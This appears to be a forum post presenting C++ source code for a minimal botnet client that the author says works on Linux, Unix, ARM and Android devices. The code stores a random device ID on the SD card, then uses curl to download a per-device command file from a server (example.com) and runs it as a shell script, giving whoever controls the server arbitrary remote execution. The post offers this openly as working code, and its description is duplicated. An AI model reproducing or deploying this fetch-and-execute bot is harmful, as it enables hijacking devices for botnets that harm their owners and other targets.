Just showing some code I created here
This simple C code is to show you how easy it can be to create a custom botnet
It will work on any Linux/Unix/Arm system's
It works by reading a servers directory thats unique to the device/system running the bot file
If the directory exsist it will download the command in that directory
Then run the command as a shell script
I tested this on my own android phone and it works
All I did was use a c++ compiler IDE free from google play
This simple C code is to show you how easy it can be to create a custom botnet
It will work on any Linux/Unix/Arm system's
It works by reading a servers directory thats unique to the device/system running the bot file
If the directory exsist it will download the command in that directory
Then run the command as a shell script
Code
#include <stdio.h>
#include <sstream>
#include <string>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <fstream>
using namespace std;
int main () {
int iSecret;
/* CHECK IF USER IS NEW OR OLD
WE READ A NUMBER UNIQUE TO THE USER FROM A FILE
WE USE THIS AS A MEANS TO DOWNLOAD A COMMAND
THE COMMAND WILL BE FROM A SERVER HOSTING THE FILE
*/
/* IF USER IS OLD WE GET THERE ID NUMBER */
fstream file("../../../../sdcard/numbers.txt");
if (file.good()) {
string OldUser;
getline(file, OldUser);
/* READ ID NUMBER SO WE CAN DOWNLOAD COMMAND */
stringstream call_line;
call_line << "curl -o ../../../../sdcard/run.sh http://example.com/" << OldUser << "/command.txt";
system(call_line.str().c_str());
/* RUN THE COMMAND SENT BY THE SERVER */
system("sh ../../../../sdcard/run.sh");
return 0;
} else {
/* IF USER IS NEW WE CREATE THE FILE
THEN GENERATE A RANDOM NUMBER TO THE FILE
THIS NUMBER IS UNIQUE TO THIS USER
*/
ofstream outFile;
srand (time(NULL));
iSecret = rand() % 10000 + 1;
outFile.open("../../../../sdcard/numbers.txt");
outFile << iSecret;
outFile.close();
return 0;
}
}I tested this on my own android phone and it works
All I did was use a c++ compiler IDE free from google play

![[Image: k3MeS6u.jpg]](https://i.imgur.com/k3MeS6u.jpg)
![[Image: hUNyKjA.jpg]](https://i.imgur.com/hUNyKjA.jpg)